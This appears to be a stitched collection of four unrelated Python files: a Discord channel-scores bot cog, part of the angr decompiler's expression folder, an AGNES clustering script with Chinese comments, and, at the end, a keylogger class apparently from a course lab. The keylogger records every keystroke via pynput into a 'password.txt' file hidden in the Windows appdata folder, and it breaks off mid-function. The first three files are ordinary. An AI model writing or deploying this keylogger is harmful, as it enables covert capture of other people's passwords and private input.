    @channelscores.group(name="settings", aliases=["set", "s"])
    async def settings(self, ctx):
        """server settings"""

    @settings.command(name="log")
    async def set_log_channel(
        self, ctx: commands.Context, log_channel: discord.TextChannel
    ):
        """set channel to send logs to"""
        self.update_guild(self, guild=ctx.guild, log_channel=log_channel)

        await log_channel.send(
            embed=discord.Embed(
                title="scores - channel scores log channel set",
                color=await ctx.embed_color(),
                description=f"""
            {log_channel.mention} set as log channel by {ctx.author.mention}
            """,
            )
        )

        return await ctx.tick()

    @settings.command(name="cooldown")
    async def set_cooldown(self, ctx: commands.Context, minutes: int):
        """set on-message points cooldown in minutes - def: 30"""
        if minutes < 1 or minutes > 10000:
            await ctx.send(
                "cooldown can't be lower than 1 minute or higher than 10000 minutes"
            )
            return

        await self.log_to_channel(
            self,
            ctx,
            title="scores - cooldown changed",
            description=f"""
              cooldown changed to {minutes} minutes by {ctx.author.mention}
            """,
        )

        self.update_guild(self, ctx.guild, cooldown=minutes)

        return await ctx.tick()

    @settings.command(name="grace")
    async def set_grace(self, ctx: commands.Context, minutes: int):
        """set grace period in minutes - def: 60"""
        if minutes < self.__global_grace__ or minutes > 10000:
            await ctx.send(
                f"grace can't be set lower than {self.__global_grace__} minutes or greater than 10000 minutes currently"
            )
            return

        if minutes % self.__global_grace__ != 0:
            await ctx.send(
                f"grace has been set. i suggest setting it to multiples of {self.__global_grace__} for greater accuracy"
            )

        await self.log_to_channel(
            self,
            ctx,
            title="scores - grace changed",
            description=f"""
            grace changed to {minutes} minutes by {ctx.author.mention}
            """,
        )

        self.update_guild(self, ctx.guild, grace=minutes)

        return await ctx.tick()

    @settings.command(name="enable", aliases=["enabled"])
    async def enable(self, ctx: commands.Context):
        """enable channel scores"""
        self.update_guild(self, ctx.guild, enabled=True)

        await self.log_to_channel(
            self,
            ctx,
            title="scores - enabled",
            description=f"""
              scores enabled by {ctx.author.mention}
            """,
        )

        return await ctx.tick()

    @settings.command(name="disable", aliases=["disabled"])
    async def disable(self, ctx: commands.Context):
        """disable channel scores"""
        self.update_guild(self, ctx.guild, enabled=False)

        await self.log_to_channel(
            self,
            ctx,
            title="scores - disabled",
            description=f"""
              scores disabled by {ctx.author.mention}
            """,
        )

        return await ctx.tick()

    @settings.command(name="range")
    async def set_range(self, ctx: commands.Context, new_range: int):
        """set min-max points according to total number of channels. 'range 2' with 10 channels results in 0 - 20 range - def: 1"""
        if new_range < 1 or new_range > 5:
            await ctx.send("range can only be set from 1 to 5 currently")
            return

        await self.log_to_channel(
            self,
            ctx,
            title="scores - range changed",
            description=f"""
              range changed to {new_range} by {ctx.author.mention}
            """,
        )

        self.update_guild(self, ctx.guild, range=new_range)

        return await ctx.tick()

    @settings.group(name="sync")
    async def sync(self, ctx):
        """disable or enable channel sync to scoreboard"""

    @sync.command(name="enable", aliases=["enabled"])
    async def sync_enable(self, ctx: commands.Context):
        """enable channel sync to scoreboard"""

        await self.log_to_channel(
            self,
            ctx,
            title="scores - sync enabled",
            description=f"""
              channel position sync enabled by {ctx.author.mention}
            """,
        )

        self.update_guild(self, ctx.guild, sync=True)

        await ctx.tick()

        return await self.sync_channels(self, ctx.guild)

    @sync.command(name="disable", aliases=["disabled"])
    async def sync_disable(self, ctx: commands.Context):
        """disable channel sync to scoreboard"""

        await self.log_to_channel(
            self,
            ctx,
            title="scores - sync disabled",
            description=f"""
              channel position sync disabled by {ctx.author.mention}
            """,
        )

        self.update_guild(self, ctx.guild, sync=False)

        return await ctx.tick()

    @settings.command(name="volume_mode", aliases=["vmode"])
    async def volume_mode(self, ctx: commands.Context, modestr: str):
        """set volume mode - can be either 'fixed' or 'score'"""

        if modestr == "fixed":
            mode = False
        elif modestr == "score":
            mode = True
        else:
            return await ctx.send("mode should be either 'fixed' or 'score'")

        await self.log_to_channel(
            self,
            ctx,
            title="scores - volume mode changed ",
            description=f"""
              volume mode changed to {modestr} by {ctx.author.mention}
            """,
        )

        self.update_guild(self, ctx.guild, volume_mode=mode)

        return await ctx.tick()

    @commands.bot_has_permissions(embed_links=True)
    @settings.command(name="view")
    async def view_settings(self, ctx: commands.Context):
        """view the current channel scores settings"""
        self.update_guild(self, ctx.guild)

        with Session(self.engine) as session:
            stmt = select(Guild).where(Guild.id == ctx.guild.id)
            settings = session.scalars(stmt).first()

            stmt = select(Category).where(Category.guild_id == ctx.guild.id)
            categories = session.scalars(stmt).all()

            total_channels = (
                session.query(Channel).where(Channel.guild_id == ctx.guild.id).count()
            )

            untracked_count = (
                session.query(Channel)
                .where(Channel.guild_id == ctx.guild.id)
                .where(Channel.tracked == False)
                .count()
            )

            volumes = get_volumes(session, ctx.guild)
            arrow = " -> "
            nl = "\n"
            vlist = []

            for volume in volumes:
                vstring = f"{volume.id}: "
                if len(volume.categories) > 1:
                    vstring += arrow.join([cat.name for cat in volume.categories])
                    vlist.append(vstring)

        return await ctx.send(
            embed=discord.Embed(
                title="channel scores settings",
                color=await ctx.embed_color(),
                description=f"""
            **enabled:** {settings.enabled}
            **sync**: {"enabled" if settings.sync else "disabled"}
            **volume mode**: {"fixed" if not settings.volume_mode else "by score"}
            **log channel:** {"None" if settings.log_channel is None else ctx.guild.get_channel(settings.log_channel).mention}
            **cooldown:** {settings.cooldown} minutes
            **grace period:** {settings.grace} minutes
            **range:** {settings.range} / 0 to {settings.range * total_channels} points
            **categories:** {
              humanize_list(
                [f"{ctx.guild.get_channel(cat.id).name}" for cat in categories]
              )
              if categories else ""}
            **volumes:**
            {nl.join(vlist)}
            **channels:** {total_channels} - {untracked_count} not tracked
            """,
            )
        )

    # public commands

    @commands.command(name="scoreboard", aliases=["board", "top"])
    async def view_scoreboard(self, ctx: commands.Context, page=1):
        """view the scoreboard"""
        if page < 1:
            return

        page_size = 15

        max_pages_msg = None

        with Session(self.engine) as session:
            total_channels = (
                session.query(Channel).where(Channel.guild_id == ctx.guild.id).count()
            )

            total_pages = math.ceil(total_channels / page_size)

            if page > total_pages:
                max_pages_msg = (
                    f"there are only {total_pages} pages - showing last page"
                )

                page = total_pages

            offset = (page - 1) * page_size

            stmt = (
                select(Channel)
                .where(Channel.guild_id == ctx.guild.id)
                .offset(offset)
                .limit(page_size)
                .order_by(Channel.score.desc(), Channel.updated.desc())
            )

            scoreboard = session.scalars(stmt).all()

        scores = []

        for c in scoreboard:
            c.text_channel = ctx.guild.get_channel(c.id)

        scores = [
            f"{index + 1}. {c.text_channel.mention} - {c.score} points {'*' if c.pinned else ''}"
            for index, c in enumerate(scoreboard)
        ]

        nl = "\n"
        top = f"{nl.join(scores)}"

        return await ctx.send(
            content=max_pages_msg,
            embed=discord.Embed(
                title=f"{ctx.guild.name} scoreboard - {offset + 1}-{(offset + page_size) if (offset + page_size) < total_channels else total_channels} of {total_channels}",
                color=await ctx.embed_color(),
                description=top,
            ).set_footer(
                text=f"page {page} of {total_pages} - top {page + 1} to go to page {page + 1}"
            ),
        )

    @commands.command(name="rank")
    async def view_channel(
        self, ctx: commands.Context, channel: discord.TextChannel = None
    ):
        """view channel score"""
        if not channel:
            channel = ctx.channel

        mention = channel.mention

        with Session(self.engine) as session:
            stmt = select(Channel).where(Channel.id == channel.id)
            c = session.scalars(stmt).first()

            if not c:
                return await ctx.send("this channel is not part of the scoreboard")

            rank = get_rank(session, c)

        return await ctx.send(
            embed=discord.Embed(
                title=f"{mention} - #{rank}",
                color=await ctx.embed_color(),
                description=f"""
            **score:** {c.score} points
            **pinned:** {"yes" if c.pinned is True else "no"}
            **tracked:** {"yes" if c.tracked is True else "no"}
            **added:** {c.added.strftime("%Y-%m-%d %H:%M")}
            """,
            )
        )


# pylint:disable=missing-class-docstring,unused-argument
from collections import defaultdict
from typing import Optional, Any, Dict, Set, Tuple, Iterable, Union, DefaultDict, TYPE_CHECKING

import ailment
from ailment import Expression, Block, AILBlockWalker
from ailment.statement import Statement, Assignment, Call

from ..sequence_walker import SequenceWalker
from ..structuring.structurer_nodes import (
    ConditionNode,
    ConditionalBreakNode,
    LoopNode,
    CascadingConditionNode,
    SwitchCaseNode,
)

if TYPE_CHECKING:
    from angr.sim_variable import SimVariable
    from angr.knowledge_plugins.variables.variable_manager import VariableManagerInternal
    from ailment.expression import MultiStatementExpression

class LocationBase:
    __slots__ = ()

class StatementLocation(LocationBase):
    __slots__ = (
        "block_addr",
        "block_idx",
        "stmt_idx",
    )

    def __init__(self, block_addr, block_idx, stmt_idx):
        self.block_addr = block_addr
        self.block_idx = block_idx
        self.stmt_idx = stmt_idx

    def __repr__(self):
        return f"Loc: Statement@{self.block_addr:x}.{self.block_idx}-{self.stmt_idx}"

    def __hash__(self):
        return hash((StatementLocation, self.block_addr, self.block_idx, self.stmt_idx))

    def __eq__(self, other):
        return (
            isinstance(other, StatementLocation)
            and self.block_addr == other.block_addr
            and self.block_idx == other.block_idx
            and self.stmt_idx == other.stmt_idx
        )

    def copy(self):
        return StatementLocation(self.block_addr, self.block_idx, self.stmt_idx)

class ExpressionLocation(LocationBase):
    __slots__ = (
        "block_addr",
        "block_idx",
        "stmt_idx",
        "expr_idx",
    )

    def __init__(self, block_addr, block_idx, stmt_idx, expr_idx):
        self.block_addr = block_addr
        self.block_idx = block_idx
        self.stmt_idx = stmt_idx
        self.expr_idx = expr_idx

    def __repr__(self):
        return f"Loc: Expression@{self.block_addr:x}.{self.block_idx}-{self.stmt_idx}[{self.expr_idx}]"

    def statement_location(self) -> StatementLocation:
        return StatementLocation(self.block_addr, self.block_idx, self.stmt_idx)

    def __hash__(self):
        return hash((ExpressionLocation, self.block_addr, self.block_idx, self.stmt_idx, self.expr_idx))

    def __eq__(self, other):
        return (
            isinstance(other, ExpressionLocation)
            and self.block_addr == other.block_addr
            and self.block_idx == other.block_idx
            and self.stmt_idx == other.stmt_idx
            and self.expr_idx == other.expr_idx
        )

class ConditionLocation(LocationBase):
    __slots__ = (
        "node_addr",
        "case_idx",
    )

    def __init__(self, cond_node_addr, case_idx: Optional[int] = None):
        self.node_addr = cond_node_addr
        self.case_idx = case_idx

    def __repr__(self):
        return f"Loc: ConditionNode@{self.node_addr:x}.{self.case_idx}"

    def __hash__(self):
        return hash((ConditionLocation, self.node_addr, self.case_idx))

    def __eq__(self, other):
        return (
            isinstance(other, ConditionLocation)
            and self.node_addr == other.node_addr
            and self.case_idx == other.case_idx
        )

class ConditionalBreakLocation(LocationBase):
    __slots__ = ("node_addr",)

    def __init__(self, node_addr):
        self.node_addr = node_addr

    def __repr__(self):
        return f"Loc: ConditionalBreakNode@{self.node_addr:x}"

    def __hash__(self):
        return hash((ConditionalBreakLocation, self.node_addr))

    def __eq__(self, other):
        return isinstance(other, ConditionalBreakLocation) and self.node_addr == other.node_addr

class MultiStatementExpressionAssignmentFinder(AILBlockWalker):
    """
    Process statements in MultiStatementExpression objects and find assignments.
    """

    def __init__(self, stmt_handler):
        super().__init__()
        self._stmt_handler = stmt_handler

    def _handle_MultiStatementExpression(
        self, expr_idx, expr: "MultiStatementExpression", stmt_idx: int, stmt: Statement, block: Optional[Block]
    ):
        for idx, stmt_ in enumerate(expr.stmts):
            self._stmt_handler(idx, stmt_, block)
        return super()._handle_MultiStatementExpression(expr_idx, expr, stmt_idx, stmt, block)

class ExpressionUseFinder(AILBlockWalker):
    """
    Find where each variable is used.

    Additionally, determine if the expression being walked has load expressions inside. Such expressions can only be
    safely folded if there are no Store statements between the expression defining location and its use sites. For
    example, we can only safely fold variable assignments that use Load() when there are no Store()s between the
    assignment and its use site. Otherwise, the loaded expression may get updated later by a Store() statement.

    Here is a real AIL block:

    .. code-block:: none

        v16 = ((int)v23->field_5) + 1 & 255;
        v23->field_5 = ((char)(((int)v23->field_5) + 1 & 255));
        v13 = printf("Recieved packet %d for connection with %d\\n", v16, a0 & 255);

    In this case, folding v16 into the last printf() expression would be incorrect, since v23->field_5 is updated by
    the second statement.
    """

    __slots__ = (
        "uses",
        "has_load",
    )

    def __init__(self):
        super().__init__()
        self.uses: DefaultDict[SimVariable, Set[Tuple[Expression, Optional[ExpressionLocation]]]] = defaultdict(set)
        self.has_load = False

    def _handle_expr(
        self, expr_idx: int, expr: Expression, stmt_idx: int, stmt: Optional[Statement], block: Optional[Block]
    ) -> Any:
        if isinstance(expr, ailment.Register) and expr.variable is not None:
            if not (isinstance(stmt, ailment.Stmt.Assignment) and stmt.dst is expr):
                if block is not None:
                    self.uses[expr.variable].add((expr, ExpressionLocation(block.addr, block.idx, stmt_idx, expr_idx)))
                else:
                    self.uses[expr.variable].add((expr, None))
            return None
        return super()._handle_expr(expr_idx, expr, stmt_idx, stmt, block)

    def _handle_Load(
        self, expr_idx: int, expr: ailment.Expr.Load, stmt_idx: int, stmt: Statement, block: Optional[Block]
    ):
        self.has_load = True
        return super()._handle_Load(expr_idx, expr, stmt_idx, stmt, block)

class ExpressionCounter(SequenceWalker):
    """
    Find all expressions that are assigned once and only used once.
    """

    def __init__(self, node, variable_manager):
        handlers = {
            ConditionalBreakNode: self._handle_ConditionalBreak,
            ConditionNode: self._handle_Condition,
            LoopNode: self._handle_Loop,
            SwitchCaseNode: self._handle_SwitchCase,
            ailment.Block: self._handle_Block,
        }

        # each element in the set is a tuple of (source of the assignment statement, a tuple of unified variables that
        # the current assignment depends on, StatementLocation of the assignment statement, a Boolean variable that
        # indicates if ExpressionUseFinder has succeeded or not)
        self.assignments: DefaultDict[Any, Set[Tuple]] = defaultdict(set)
        self.uses: Dict[SimVariable, Set[Tuple[Expression, Optional[LocationBase]]]] = {}
        self._variable_manager: "VariableManagerInternal" = variable_manager

        super().__init__(handlers)
        self.walk(node)

    def _u(self, v) -> Optional["SimVariable"]:
        """
        Get unified variable for a given variable.
        """

        return self._variable_manager.unified_variable(v)

    def _handle_Statement(self, idx: int, stmt: ailment.Stmt, node: Union[ailment.Block, LoopNode]):
        if isinstance(stmt, ailment.Stmt.Assignment):
            if isinstance(stmt.dst, ailment.Expr.Register) and stmt.dst.variable is not None:
                u = self._u(stmt.dst.variable)
                if u is not None:
                    # dependency
                    dependency_finder = ExpressionUseFinder()
                    dependency_finder.walk_expression(stmt.src)
                    dependencies = tuple({self._u(v) for v in dependency_finder.uses})
                    self.assignments[u].add(
                        (
                            stmt.src,
                            dependencies,
                            StatementLocation(node.addr, node.idx if isinstance(node, ailment.Block) else None, idx),
                            dependency_finder.has_load,
                        )
                    )
        if (
            isinstance(stmt, ailment.Stmt.Call)
            and isinstance(stmt.ret_expr, ailment.Expr.Register)
            and stmt.ret_expr.variable is not None
        ):
            u = self._u(stmt.ret_expr.variable)
            if u is not None:
                dependency_finder = ExpressionUseFinder()
                dependency_finder.walk_expression(stmt)
                dependencies = tuple({self._u(v) for v in dependency_finder.uses})
                self.assignments[u].add(
                    (
                        stmt,
                        dependencies,
                        StatementLocation(node.addr, node.idx if isinstance(node, ailment.Block) else None, idx),
                        dependency_finder.has_load,
                    )
                )

    def _handle_Block(self, node: ailment.Block, **kwargs):
        # find assignments
        for idx, stmt in enumerate(node.statements):
            self._handle_Statement(idx, stmt, node)

        # walk the block and find uses of variables
        use_finder = ExpressionUseFinder()
        use_finder.walk(node)

        for v, content in use_finder.uses.items():
            u = self._u(v)
            if u is not None:
                if u not in self.uses:
                    self.uses[u] = set()
                self.uses[u] |= content

    def _collect_assignments(self, expr: ailment.Expr, node) -> None:
        finder = MultiStatementExpressionAssignmentFinder(self._handle_Statement)
        finder.walk_expression(expr, None, None, node)

    def _collect_uses(self, expr: Expression, loc: LocationBase):
        use_finder = ExpressionUseFinder()
        use_finder.walk_expression(expr, stmt_idx=-1)

        for var, uses in use_finder.uses.items():
            u = self._u(var)
            if u is None:
                continue
            for use in uses:
                if u not in self.uses:
                    self.uses[u] = set()
                self.uses[u].add((use[0], loc))

    def _handle_ConditionalBreak(self, node: ConditionalBreakNode, **kwargs):
        # collect uses on the condition expression
        self._collect_assignments(node.condition, node)
        self._collect_uses(node.condition, ConditionalBreakLocation(node.addr))
        return super()._handle_ConditionalBreak(node, **kwargs)

    def _handle_Condition(self, node: ConditionNode, **kwargs):
        # collect uses on the condition expression
        self._collect_assignments(node.condition, node)
        self._collect_uses(node.condition, ConditionLocation(node.addr))
        return super()._handle_Condition(node, **kwargs)

    def _handle_CascadingCondition(self, node: CascadingConditionNode, **kwargs):
        for idx, (condition, _) in enumerate(node.condition_and_nodes):
            self._collect_assignments(condition, node)
            self._collect_uses(condition, ConditionLocation(node.addr, idx))
        return super()._handle_CascadingCondition(node, **kwargs)

    def _handle_Loop(self, node: LoopNode, **kwargs):
        # collect uses on the condition expression
        if node.initializer is not None:
            self._collect_uses(node.initializer, ConditionLocation(node.addr))
        if node.iterator is not None:
            self._collect_uses(node.iterator, ConditionLocation(node.addr))
        if node.condition is not None:
            self._collect_assignments(node.condition, node)
            self._collect_uses(node.condition, ConditionLocation(node.addr))
        return super()._handle_Loop(node, **kwargs)

    def _handle_SwitchCase(self, node: SwitchCaseNode, **kwargs):
        self._collect_uses(node.switch_expr, ConditionLocation(node.addr))
        return super()._handle_SwitchCase(node, **kwargs)

class ExpressionReplacer(AILBlockWalker):
    def __init__(self, assignments: Dict, uses: Dict, variable_manager):
        super().__init__()
        self._assignments = assignments
        self._uses = uses
        self._variable_manager: "VariableManagerInternal" = variable_manager

    def _u(self, v) -> Optional["SimVariable"]:
        """
        Get unified variable for a given variable.
        """
        return self._variable_manager.unified_variable(v)

    def _handle_MultiStatementExpression(
        self, expr_idx, expr: "MultiStatementExpression", stmt_idx: int, stmt: Statement, block: Optional[Block]
    ):
        changed = False
        new_statements = []
        for idx, stmt_ in enumerate(expr.stmts):
            if (
                isinstance(stmt_, Assignment)
                and isinstance(stmt_.dst, ailment.Expr.Register)
                and stmt_.dst.variable is not None
            ):
                if stmt_.dst.variable in self._assignments:
                    # remove this statement
                    changed = True
                    continue

            new_stmt = self._handle_stmt(idx, stmt_, None)
            if new_stmt is not None and new_stmt is not stmt_:
                changed = True
                if isinstance(new_stmt, Assignment) and new_stmt.src.likes(new_stmt.dst):
                    # this statement is simplified into reg = reg. ignore it
                    continue
                new_statements.append(new_stmt)
            else:
                new_statements.append(stmt_)

        new_expr = self._handle_expr(0, expr.expr, stmt_idx, stmt, block)
        if new_expr is not None and new_expr is not expr.expr:
            changed = True
        else:
            new_expr = expr.expr

        if changed:
            if not new_statements:
                # it is no longer a multi-statement expression
                return new_expr
            expr_ = expr.copy()
            expr_.expr = new_expr
            expr_.stmts = new_statements
            return expr_
        return None

    def _handle_Assignment(self, stmt_idx: int, stmt: Assignment, block: Optional[Block]):
        # override the base handler and make sure we do not replace .dst with a Call expression
        changed = False

        dst = self._handle_expr(0, stmt.dst, stmt_idx, stmt, block)
        if dst is not None and dst is not stmt.dst and not isinstance(dst, Call):
            changed = True
        else:
            dst = stmt.dst

        src = self._handle_expr(1, stmt.src, stmt_idx, stmt, block)
        if src is not None and src is not stmt.src:
            changed = True
        else:
            src = stmt.src

        if changed:
            new_stmt = Assignment(stmt.idx, dst, src, **stmt.tags)
            if block is not None:
                # update the statement directly in the block
                block.statements[stmt_idx] = new_stmt
            return new_stmt
        return None

    def _handle_expr(
        self, expr_idx: int, expr: Expression, stmt_idx: int, stmt: Optional[Statement], block: Optional[Block]
    ) -> Any:
        if isinstance(expr, ailment.Register) and expr.variable is not None:
            unified_var = self._u(expr.variable)
            if unified_var in self._uses:
                replace_with, _ = self._assignments[unified_var]
                return replace_with
        return super()._handle_expr(expr_idx, expr, stmt_idx, stmt, block)

class ExpressionFolder(SequenceWalker):
    def __init__(self, assignments: Dict, uses: Dict, node, variable_manager):
        handlers = {
            ailment.Block: self._handle_Block,
            ConditionNode: self._handle_Condition,
            ConditionalBreakNode: self._handle_ConditionalBreak,
            SwitchCaseNode: self._handle_SwitchCase,
        }

        super().__init__(handlers)
        self._assignments = assignments
        self._uses = uses
        self._variable_manager = variable_manager
        self.walk(node)

    def _u(self, v) -> Optional["SimVariable"]:
        """
        Get unified variable for a given variable.
        """
        return self._variable_manager.unified_variable(v)

    def _handle_Block(self, node: ailment.Block, **kwargs):
        # Walk the block to remove each assignment and replace uses of each variable
        new_stmts = []
        for stmt in node.statements:
            if isinstance(stmt, ailment.Stmt.Assignment):
                if isinstance(stmt.dst, ailment.Expr.Register) and stmt.dst.variable is not None:
                    if stmt.dst.variable in self._assignments:
                        # remove this statement
                        continue
            if (
                isinstance(stmt, ailment.Stmt.Call)
                and isinstance(stmt.ret_expr, ailment.Expr.Register)
                and stmt.ret_expr.variable is not None
            ):
                unified_var = self._u(stmt.ret_expr.variable)
                if unified_var in self._assignments:
                    # remove this statement
                    continue
            new_stmts.append(stmt)
        node.statements = new_stmts

        # Walk the block to replace the use of each variable
        replacer = ExpressionReplacer(self._assignments, self._uses, self._variable_manager)
        replacer.walk(node)

    def _handle_ConditionalBreak(self, node: ConditionalBreakNode, **kwargs):
        replacer = ExpressionReplacer(self._assignments, self._uses, self._variable_manager)
        r = replacer.walk_expression(node.condition)
        if r is not None and r is not node.condition:
            node.condition = r
        return super()._handle_ConditionalBreak(node, **kwargs)

    def _handle_Condition(self, node: ConditionNode, **kwargs):
        replacer = ExpressionReplacer(self._assignments, self._uses, self._variable_manager)
        r = replacer.walk_expression(node.condition)
        if r is not None and r is not node.condition:
            node.condition = r
        return super()._handle_Condition(node, **kwargs)

    def _handle_CascadingCondition(self, node: CascadingConditionNode, **kwargs):
        replacer = ExpressionReplacer(self._assignments, self._uses, self._variable_manager)
        for idx in range(len(node.condition_and_nodes)):  # pylint:disable=consider-using-enumerate
            cond, _ = node.condition_and_nodes[idx]
            r = replacer.walk_expression(cond)
            if r is not None and r is not cond:
                node.condition_and_nodes[idx] = (r, node.condition_and_nodes[idx][1])
        return super()._handle_CascadingCondition(node, **kwargs)

    def _handle_Loop(self, node: LoopNode, **kwargs):
        replacer = ExpressionReplacer(self._assignments, self._uses, self._variable_manager)

        # iterator
        if node.iterator is not None:
            r = replacer.walk_expression(node.iterator)
            if r is not None and r is not node.iterator:
                node.iterator = r

        # initializer
        if node.initializer is not None:
            r = replacer.walk_expression(node.initializer)
            if r is not None and r is not node.initializer:
                node.initializer = r

        # condition
        if node.condition is not None:
            r = replacer.walk_expression(node.condition)
            if r is not None and r is not node.condition:
                node.condition = r

        return super()._handle_Loop(node, **kwargs)

    def _handle_SwitchCase(self, node: SwitchCaseNode, **kwargs):
        replacer = ExpressionReplacer(self._assignments, self._uses, self._variable_manager)

        r = replacer.walk_expression(node.switch_expr)
        if r is not None and r is not node.switch_expr:
            node.switch_expr = r

        return super()._handle_SwitchCase(node, **kwargs)

class StoreStatementFinder(SequenceWalker):
    """
    Determine if there are any Store statements between two given statements.

    This class overrides _handle_Sequence() and _handle_MultiNode() to ensure they traverse nodes from top to bottom.
    """

    def __init__(self, node, intervals: Iterable[Tuple[StatementLocation, LocationBase]]):
        handlers = {
            ConditionNode: self._handle_Condition,
            CascadingConditionNode: self._handle_CascadingCondition,
            ConditionalBreakNode: self._handle_ConditionalBreak,
            ailment.Block: self._handle_Block,
        }

        self._intervals = intervals

        self._start_to_ends: DefaultDict[StatementLocation, Set[LocationBase]] = defaultdict(set)
        self._end_to_starts: DefaultDict[LocationBase, Set[StatementLocation]] = defaultdict(set)
        self.interval_to_hasstore: Dict[Tuple[StatementLocation, StatementLocation], bool] = {}
        for start, end in intervals:
            self._start_to_ends[start].add(end)
            self._end_to_starts[end].add(start)

        self._active_intervals = set()

        super().__init__(handlers)
        self.walk(node)

    def _handle_Sequence(self, node, **kwargs):
        i = 0
        while i < len(node.nodes):
            node_ = node.nodes[i]
            self._handle(node_, parent=node, index=i)
            i += 1

    def _handle_MultiNode(self, node, **kwargs):
        i = 0
        while i < len(node.nodes):
            node_ = node.nodes[i]
            self._handle(node_, parent=node, index=i)
            i += 1

    def _handle_Block(self, node: ailment.Block, **kwargs):
        stmt_loc = StatementLocation(node.addr, node.idx, None)
        for idx, stmt in enumerate(node.statements):
            stmt_loc.stmt_idx = idx
            if stmt_loc in self._start_to_ends:
                for end in self._start_to_ends[stmt_loc]:
                    self._active_intervals.add((stmt_loc.copy(), end))
            if stmt_loc in self._end_to_starts:
                for start in self._end_to_starts[stmt_loc]:
                    self._active_intervals.discard((start, stmt_loc))
            if isinstance(stmt, ailment.Stmt.Store):
                for interval in self._active_intervals:
                    self.interval_to_hasstore[interval] = True

    def _handle_Condition(self, node, **kwargs):
        cond_loc = ConditionLocation(node.addr)
        if cond_loc in self._end_to_starts:
            for start in self._end_to_starts[cond_loc]:
                self._active_intervals.discard((start, cond_loc))
        super()._handle_Condition(node, **kwargs)

    def _handle_CascadingCondition(self, node: CascadingConditionNode, **kwargs):
        cond_loc = ConditionLocation(node.addr, None)
        for idx in range(len(node.condition_and_nodes)):
            cond_loc.case_idx = idx
            if cond_loc in self._end_to_starts[cond_loc]:
                for start in self._end_to_starts[cond_loc]:
                    self._active_intervals.discard((start, cond_loc))
        super()._handle_CascadingCondition(node, **kwargs)

    def _handle_ConditionalBreak(self, node: ConditionalBreakNode, **kwargs):
        cond_break_loc = ConditionalBreakLocation(node.addr)
        if cond_break_loc in self._end_to_starts:
            for start in self._end_to_starts[cond_break_loc]:
                self._active_intervals.discard((start, cond_break_loc))
        super()._handle_ConditionalBreak(node, **kwargs)

    def has_store(self, start: StatementLocation, end: StatementLocation) -> bool:
        return self.interval_to_hasstore.get((start, end), False)


 #-*- coding:utf-8 -*-
import math
import matplotlib.pyplot as plt
import pandas as pd
import time

plt.rcParams['font.sans-serif'] = 'SimHei'
plt.rcParams['axes.unicode_minus'] = False ## 设置正常显示符号
#数据集进行划分，生成点
def  data_split():
    data=pd.read_csv('dataset.txt',encoding='utf-8',names=['密度','含糖量'])
    count= len(data)
    dataset=[]
    for i in range(count):
        a=data.values[i][0]
        b=data.values[i][1]
        dataset.append((a,b))
    return dataset
#计算欧几里得距离,a,b分别为两个元组
def dist(a, b):
    return math.sqrt(math.pow(a[0]-b[0], 2)+math.pow(a[1]-b[1], 2))

#dist_min
def dist_min(Ci, Cj):
    return min(dist(i, j) for i in Ci for j in Cj)
#dist_max
def dist_max(Ci, Cj):
    return max(dist(i, j) for i in Ci for j in Cj)
#dist_avg
def dist_avg(Ci, Cj):
    return sum(dist(i, j) for i in Ci for j in Cj)/(len(Ci)*len(Cj))

#找到距离最小的下标
def find_Min(M):
    min = 1000
    x = 0; y = 0
    for i in range(len(M)):
        for j in range(len(M[i])):
            if i != j and M[i][j] < min:
                min = M[i][j];x = i; y = j
    return (x, y, min)

#算法模型：
def AGNES(dataset, dist, k):
    time1=time.perf_counter()
    #初始化C和M
    C = [];M = []
    for i in dataset:
        Ci = []
        Ci.append(i)
        C.append(Ci)
    for i in C:
        Mi = []
        for j in C:
            Mi.append(dist(i, j))#Mi中存放了i簇到其余簇的距离
        M.append(Mi) #保存了两簇之间的距离
    q = len(dataset)
    #合并更新
    while q > k:
        x, y, min = find_Min(M)
        C[x].extend(C[y])#两个簇进行合并
        C.remove(C[y])#从全部簇的列表中删除被合并的簇
        #更新簇之间的距离
        M = []
        for i in C:
            Mi = []
            for j in C:
                Mi.append(dist(i, j))
            M.append(Mi)
        q -= 1
    time2=time.perf_counter()
    print('共耗时{:.5f}s'.format(time2 - time1))
    return C
#画图
def draw(C):
    colValue = ['r', 'y', 'g', 'b', 'c', 'k', 'm']
    for i in range(len(C)):
        coo_X = []    #x坐标列表
        coo_Y = []    #y坐标列表
        for j in range(len(C[i])):
            coo_X.append(C[i][j][0])
            coo_Y.append(C[i][j][1])
        plt.scatter(coo_X, coo_Y, marker='o', color=colValue[i%len(colValue)], label=i)
    plt.legend(loc='best')
    plt.title("AGNES算法聚类", fontsize=20)
    plt.xlabel("密度")
    plt.ylabel("含糖量")
    plt.show()
if __name__ == '__main__':
    C = AGNES(data_split(), dist_max, 2)
    draw(C)


import os, time
from pynput.keyboard import Listener

class Keylogger:

    def __init__(self):
        """
        This keylogger class works very similar to the one submitted for lab 12. The init function initializes
        the main variables to be used. It is important to note the location of the file_to_write if you plan to see the text
        file while the keylogger is in action.
        """
        self.ABORT = False
        self.keys = []
        self.count = 0
        self.file_to_write = os.environ['appdata'] + '\password.txt'    # for running on Windows
        #file_to_write = 'passwords.txt'      # for running on Linux and Mac

    def start(self):
        """
        The start function is intended to physically start the keylogger. The file path is printed to allow the file to
        be found more easily, and a listener is initialized as a class object so it can be accessed later.
        The listener is started, meaning all keystrokes are captured.
        A while loop starts checking for the ABORT flag. If another function, such as a stop command, sends the abort
        signal the listener is stopped and the loop breaks.
        """
        print(self.file_to_write)  # This step is just intended to help find the key dump file
        self.listener = Listener(on_press = self.on_press)
        self.listener.start()
        while (True):
            if self.ABORT == True:
                self.listener.stop()
                print("abort detected")
                break
        exit()

    def on_press(self, key):
        """
        The on_press function handles the individual keystrokes. The key is printed to screen, a list is expanded,
        and the write_file function is called with the keybuffer. The buffer is then reset to avoid the same keys being
        added constantly to the file.
        """
        print (key, " was pressed!")
        # append key to keys
        self.keys.append(key)
        # increment count by 1
        self.count += 1
        # if count >=1, reset count, call the write_file function, pass keys as parameter
        if self.count >= 1:
            self.count = 0
            self.write_file(self.keys)
            print ("write was called")
            self.keys = []
        # reset keys

    def write_file(self, keybuffer):
        """
        The write_file function parses the various keys and writes them to the output file. The file path
        is printed each time. The file is opened in append+ mode in the event it needs to be read. Quotes are stripped
        characters, and placeholder text from pynput is replaced with more readable text.
        Once the key has been parsed, it is written to file and printed to console.
        """
        file_to_write = self.file_to_write
        print (file_to_write)
        with open(file_to_write, "a+") as file:  # open file_to_write in append mode
            for key in keybuffer:
                k = str(key).strip("'")  # strip end quotes off the characters
                if k == "Key.backspace":
                    k = str(key).replace("Key.backspace", "Backspace")  # replace backspace with 'Backspace'
                elif k == "Key.enter":
